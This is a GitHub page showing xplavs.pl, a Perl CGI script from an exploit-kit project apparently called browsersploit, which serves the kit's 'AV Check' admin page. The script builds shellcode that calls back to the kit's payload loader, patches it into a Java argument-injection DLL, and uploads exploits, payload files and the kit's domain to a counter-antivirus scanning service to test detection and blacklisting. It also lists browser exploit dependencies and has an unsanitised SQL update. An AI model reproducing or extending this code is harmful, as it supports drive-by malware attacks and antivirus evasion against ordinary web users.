forked from julienbedard/browsersploit
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathxplavs.pl
309 lines (272 loc) · 8.99 KB
/
xplavs.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
#!/usr/bin/perl
# xplindex.pl
use CGI;
use CGI::Carp qw/fatalsToBrowser warningsToBrowser/;
use CGI::Session ( '-ip_match' );
use DBI;
use LWP::UserAgent;
require "xpl/config.pl";
require "xpl/lib/JsXOR.pm";
require "xpl/lib/Shellcode.pm";
$session = CGI::Session->load();
$q = new CGI;
$cook = $q->param('cook');
$vfy = $q->param('vfy');
$chkdomain = $q->param('chkdomain');
$chkexploit = $q->param('chkexploit');
$chkdependencies = $q->param('chkdependencies');
$domaintochk = $q->param('domaintochk');
$keyz = $q->param('keyz');
$exetochk = $q->param('exetochk');
$chkexe = $q->param('chkexe');
$db_name = 'DBI:mysql:' . $config{MysqlDB};
$dbh = DBI->connect($db_name, $config{MysqlUser}, $config{MysqlPass}) || die "Could not connect to database: $DBI::errstr";
if($vfy ne 'xplad')
{
print "Status: 301 Moved\nLocation: login.pl\n\n";
}
if($session->is_expired)
{
print $q->header(-cache_control=>"no-cache, no-store, must-revalidate");
print "Your has session expired. Please login again.";
print "<br/><a href='login.pl>Login</a>";
}
elsif($session->is_empty)
{
#print $q->header(-cache_control=>"no-cache, no-store, must-revalidate");
print "Status: 301 Moved\nLocation: login.pl\n\n";
}
else
{
if($chkdomain eq 'yes')
{
$domaincontent .= '<br><b><u>' . $domaintochk . '</u></b><br>';
$domaincontent .= thedomaincheck('domain');
}
if($chkdependencies eq 'yes')
{
if($domaintochk eq 'template.dll')
{
#build shellcode
$urlllll = $config{UrlToFolder} . '/loads.pl?aff=admin&xplload=java_arginject';
$prependshell = "\x81\xc4\x54\xf2\xff\xff";
$shellcode = Shellcode::pdfgetshell($urlllll);
$stringtoerase = 'PAYLOAD:' . "\x00" x (length($shellcode) - 2);
$stringtoreplace = $prependshell . $shellcode;
#make dll
$urltodll = 'xpl/dep/template.dll';
$dataload = "";
open(FILE,"<$urltodll") || die "file cannot be openned $urltodll\n";
while(<FILE>)
{
$dataload .= $_;
}
close(FILE);
$dataload =~ s/$stringtoerase/$stringtoreplace/;
open(FILE2,">xpl/dep/temptempl.dll") || die "file cannot be writed\n";
print FILE2 $dataload;
close(FILE2);
$domaintochk = 'xpl/dep/temptempl.dll';
$dependenciescontent .= '<br><b><u>temptempl.dll</u></b><br>';
$dependenciescontent .= thedomaincheck('file');
unlink('xpl/dep/temptempl.dll');
}
else
{
$domaintochk = 'xpl/dep/' . $domaintochk;
$dependenciescontent .= '<br><b><u>' . $domaintochk . '</u></b><br>';
$dependenciescontent .= thedomaincheck('file');
}
}
if($chkexe eq 'yes')
{
$domaintochk = $exetochk;
$execontent .= '<br><b><u>' . $domaintochk . '</u></b><br>';
$execontent .= thedomaincheck('file');
}
if($chkexploit eq 'yes')
{
#Update keyz to defined value
$req = "UPDATE options SET keyz='$keyz' WHERE username='Admin'";
$sth = $dbh->prepare($req);
$sth->execute() || die;
$rawexploitchk = $config{UrlToFolder} . 'avcheck.pl?keyz=' . $keyz . '&exploittocheck=' . $domaintochk;
$domaintochk = $rawexploitchk;
$exploitcontent .= '<br><b><u>' . $domaintochk . '</u></b><br>';
$exploitcontent .= thedomaincheck('url');
#update with blank key to block AVs checking this file
$req = "UPDATE options SET keyz='' WHERE username='Admin'";
$sth = $dbh->prepare($req);
$sth->execute() || die;
}
$hiddenvalue = "";
$hiddenvalue .= "<input type=\"hidden\" name=\"cook\" value=\"$cook\">\n";
$hiddenvalue .= "<input type=\"hidden\" name=\"selectuser\" value=\"$selectuser\">\n";;
$hiddenvalue .= "<input type=\"hidden\" name=\"vfy\" value=\"xplad\">\n";
$domainraw = $config{UrlToFolder};
$domainraw =~ s/http:\/\///eg;
$domainraw =~ s/\/xpl\///eg;
#Select all exes from DB
$choiceoption = '';
$req = "SELECT filez FROM affiliates";
$sth = $dbh->prepare($req);
$sth->execute() || die;
while(my @row = $sth->fetchrow_array)
{
$filez = $row['0'];
if($filez eq '')
{
$choiceoption .= '<option value="xpl/dep/default.exe">default.exe</option>' . "\n";
}
else
{
$choiceoption .= '<option value="xpl/dep/' . $filez . '">' . $filez . '</option>' . "\n";
}
}
$alloptionsxopl = '';
$req = "SELECT name,description FROM exploits";
$sth = $dbh->prepare($req);
$sth->execute() || die;
while(my @row = $sth->fetchrow_array)
{
$xplname = $row['0'];
$xpldesc = $row['1'];
$alloptionsxopl .= '<option value="' . $xplname . '">' . $xpldesc . '</option>;' . "\n";
}
print $q->header(-cache_control=>"no-cache, no-store, must-revalidate");
indexalltab();
}
sub indexalltab
{
print <<THEHTMLINDEX;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<HTML xmlns="http://www.w3.org/1999/xhtml" lang="fr"><HEAD><META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<TITLE>$config{NetName} - Admin Panel</TITLE>
<LINK rel="stylesheet" type="text/css" href="style/style3.css" media="all">
</HEAD><BODY>
<DIV id="top_nav">
<DIV class="content">
<center>
<UL>
<LI><A href="xplindex.pl?cook=$cook&vfy=xplad" title="Home" class="Home">Home</A></LI>
<LI><A href="xplstats.pl?cook=$cook&vfy=xplad" title="Reports">Reports</A></LI>
<LI><A href="xplprograms.pl?cook=$cook&selectuser=Admin&vfy=xplad" title="Accounts">Accounts</A></LI>
<LI><A href="xploptions.pl?cook=$cook&selectuser=$selectuser&vfy=xplad" title="Exploits Options">Exploits</A></LI>
<LI><A href="xpltraffic.pl?cook=$cook&selectuser=$selectuser&vfy=xplad" title="Traffic Options">Traffic</A></LI>
<LI><A href="xplavs.pl?cook=$cook&selectuser=$selectuser&vfy=xplad" title="AVs Check">AV Check</A></LI>
<LI><A href="login.pl?action=logout" title="Log Out">Log Out</A></LI>
</UL>
</center>
</DIV>
</DIV>
<center>
<br>
<b>
</b>
<h2>[ Virus and BlackList Check ]</h2>
<br>
<DIV id="main">
<DIV class="content">
<DIV id="pages">
<DIV id="home">
<DIV>
</DIV>
<br>
<h3>Exploits Check</h3>
<br>
<form method="post">
$hiddenvalue
Key: <input type="text" name="keyz" length="1" value=""><br>
<SELECT name="domaintochk">
$alloptionsxopl
</SELECT><br>
<input type="hidden" name="chkexploit" value="yes">
<input type="submit" value="Check Exploit" />
</form>
$exploitcontent
<br><br>
<h3>Dependencies Check</h3>
<br>
<form method="post">
$hiddenvalue
<SELECT name="domaintochk">
<option value="1268505228.gif">Directshow picture</option>
<option value="Applet.jar">Java Calendar Applet</option>
<option value="template.dll">Java Argument Injection dll</option>
<option value="kodak.icm">Java CMM Kodak.icm</option>
<option value="Curve.class">Java CMM .class file</option>
<option value="heaplib.js">HeapLib JS file</option>
<option value="12685055265.DIR">Shockwave dependency file</option>
<option value="generic-1296925738.dll">ms11_xxx .net dll</option>
<option value="PluginDetect.js">Detect Plugin JS</option>
<option value="getJavaInfo.jar">Detect Java ver jar</option>
</SELECT><br>
<input type="hidden" name="chkdependencies" value="yes">
<input type="submit" value="Check File" />
</form>
$dependenciescontent
<br><br>
<h3>EXE Check</h3>
<form method="post">
$hiddenvalue
<SELECT name="exetochk">
$choiceoption
</SELECT><br>
<input type="hidden" name="chkexe" value="yes">
<input type="submit" value="Check File" />
</form>
$execontent
<br><br>
<h3>Domain Check</h3>
<form method="post">
$domaincontent
<br>
$hiddenvalue
<input type="hidden" name="domaintochk" value="$domainraw">
<input type="hidden" name="chkdomain" value="yes">
<input type="submit" value="Check Domain" />
</form>
<br><br>
<br><br>
</DIV>
</DIV>
</DIV>
</DIV>
<br><br>
</center>
<DIV id="footer">
<DIV class="content">
<DIV class="copyright">
<P><BR>
</DIV>
</DIV>
</DIV>
</body>
</html>
THEHTMLINDEX
}
sub thedomaincheck
{
my $type = shift;
my $url='http://scan4you.net/remote.php';
my $format='txt'; # json - for JSON return
my $file = $domaintochk;
my $browser=LWP::UserAgent->new();
my @ns_headers = ();
my %cont = (id=>$config{Scanid}, token=>$config{Scantoken}, action=>$type);
$cont{'uppload'}=["$file"] if ($type eq 'file');
$cont{$type}=$file if ($type ne 'file');
$cont{'frmt'}=$format;
#die "@ns_headers\n";
$resp=$browser->post($url,@ns_headers,Content_Type=>'form-data', Content=>\%cont);
if($resp->code!=302 && $resp->code!=200) {
$decodedvalue = "Upload failed! Will try again. Output was:\n".$resp->as_string;
} else {
$decodedvalue = $resp->decoded_content;
}
$decodedvalue =~ s/\n/<br>/g;
$decodedvalue =~ s/:(.*?)<br>/:<font color="red"> $1<\/font><br>/g;
$decodedvalue =~ s/"red"> OK/"green"> OK/g;
return $decodedvalue;
}
1;